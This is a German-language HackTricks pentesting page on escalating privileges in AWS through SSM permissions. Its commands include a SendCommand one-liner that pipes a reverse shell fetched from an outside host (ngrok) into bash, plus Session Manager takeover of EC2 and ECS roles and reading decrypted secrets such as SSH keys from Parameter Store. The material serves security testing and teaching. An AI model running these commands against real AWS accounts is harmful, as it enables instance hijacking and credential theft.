AWS - SSM Privesc

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

SSM

Für weitere Informationen zu SSM siehe:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Ein Angreifer mit der Berechtigung ssm:SendCommand kann Befehle in Instanzen ausführen, die den Amazon SSM-Agent ausführen, und die IAM-Rolle kompromittieren, die darin ausgeführt wird.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Im Falle, dass Sie diese Technik verwenden, um Berechtigungen innerhalb einer bereits kompromittierten EC2-Instanz zu eskalieren, könnten Sie den Rev-Shell einfach lokal erfassen mit:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Potenzielle Auswirkungen: Direktes Privilegien-Eskalation zu den EC2 IAM-Rollen, die an laufende Instanzen mit SSM-Agents angehängt sind.

ssm:StartSession

Ein Angreifer mit der Berechtigung ssm:StartSession kann eine SSH-ähnliche Sitzung in Instanzen starten, die den Amazon SSM-Agent ausführen, und die IAM-Rolle kompromittieren, die darin ausgeführt wird.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Um eine Sitzung zu starten, muss das SessionManagerPlugin installiert sein: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Potenzielle Auswirkungen: Direktes Privilegien-Eskalation zu den EC2 IAM-Rollen, die an laufende Instanzen mit SSM Agents angehängt sind.

Privilegien-Eskalation zu ECS

Wenn ECS-Aufgaben mit ExecuteCommand aktiviert ausgeführt werden, können Benutzer mit ausreichenden Berechtigungen ecs execute-command verwenden, um einen Befehl innerhalb des Containers auszuführen. Laut der Dokumentation wird dies durch die Erstellung eines sicheren Kanals zwischen dem Gerät, das Sie zur Initiierung des "exec"-Befehls verwenden, und dem Zielcontainer mit SSM Session Manager durchgeführt. Daher können Benutzer mit ssm:StartSession eine Shell innerhalb von ECS-Aufgaben erhalten, wenn diese Option aktiviert ist, indem sie einfach ausführen:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Potenzielle Auswirkungen: Direktes Privilegien-Eskalation zu den ECSIAM-Rollen, die an laufende Aufgaben mit aktiviertem ExecuteCommand angehängt sind.

ssm:ResumeSession

Ein Angreifer mit der Berechtigung ssm:ResumeSession kann eine SSH-ähnliche Sitzung in Instanzen, die den Amazon SSM-Agenten ausführen, neu starten, wenn sich die Sitzung im getrennten SSM-Sitzungszustand befindet, und die IAM-Rolle kompromittieren, die darin ausgeführt wird.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Potenzielle Auswirkungen: Direktes Privilege Escalation zu den EC2 IAM-Rollen, die an laufende Instanzen mit laufenden SSM-Agents angehängt sind und getrennte Sitzungen.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Ein Angreifer mit den genannten Berechtigungen kann die SSM-Parameter auflisten und im Klartext lesen. In diesen Parametern können häufig sensible Informationen wie SSH-Schlüssel oder API-Schlüssel gefunden werden.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Potenzielle Auswirkungen: Finden von sensiblen Informationen innerhalb der Parameter.

ssm:ListCommands

Ein Angreifer mit dieser Berechtigung kann alle gesendeten Befehle auflisten und hoffentlich sensible Informationen darin finden.

aws ssm list-commands

Potenzielle Auswirkungen: Finden von sensiblen Informationen innerhalb der Befehlszeilen.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Ein Angreifer mit diesen Berechtigungen kann alle gesendeten Befehle auflisten und die generierte Ausgabe lesen, in der Hoffnung, sensible Informationen darin zu finden.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Potenzielle Auswirkungen: Finden sensibler Informationen im Output der Befehlszeilen.

Codebuild

Sie können auch SSM verwenden, um Zugriff auf ein Codebuild-Projekt zu erhalten, das gerade erstellt wird:

pageAWS - Codebuild Privesc
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated